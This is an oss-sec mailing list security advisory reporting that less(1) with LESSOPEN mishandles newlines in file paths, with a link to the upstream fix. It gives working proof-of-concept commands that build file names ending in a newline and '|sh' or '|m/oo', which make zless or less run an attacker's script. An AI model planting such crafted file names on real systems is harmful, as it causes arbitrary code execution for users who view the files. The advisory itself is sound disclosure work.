oss-sec mailing list archives
less(1) with LESSOPEN mishandles \n in paths
From: Jakub Wilk <jwilk () jwilk net>
Date: Fri, 12 Apr 2024 14:20:31 +0200
less(1) does not correctly escape newlines in pathnames when constructing command line of the input preprocessor. If a user ran less(1) on files with untrusted names, this could result in execution of arbitrary code.
The input preprocessor is enabled by the LESSOPEN environment variable.But if you didn't set it, don't worry, because zless(1) (or xzless(1), or zstdless(1)) sets it for you:
$ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')" $ zless ./* _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ./ |sh (file 1 of 2) (END) - Next: ./\On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the bug can be exploited even without the wrapper:
$ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo $ less ./*/* _______ < pwned > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ./ |m/oo (file 1 of 2) (END) - Next: ./m/oo Upstream fix: https://github.com/gwsw/less/commit/007521ac3c95bc76 -- Jakub Wilk
Current thread:
- less(1) with LESSOPEN mishandles \n in paths Jakub Wilk (Apr 12)
- Re: less(1) with LESSOPEN mishandles \n in paths Sam James (Apr 12)
- Re: less(1) with LESSOPEN mishandles \n in paths Jakub Wilk (Apr 15)
- <Possible follow-ups>
- Re: less(1) with LESSOPEN mishandles \n in paths Tobias Powalowski (Apr 13)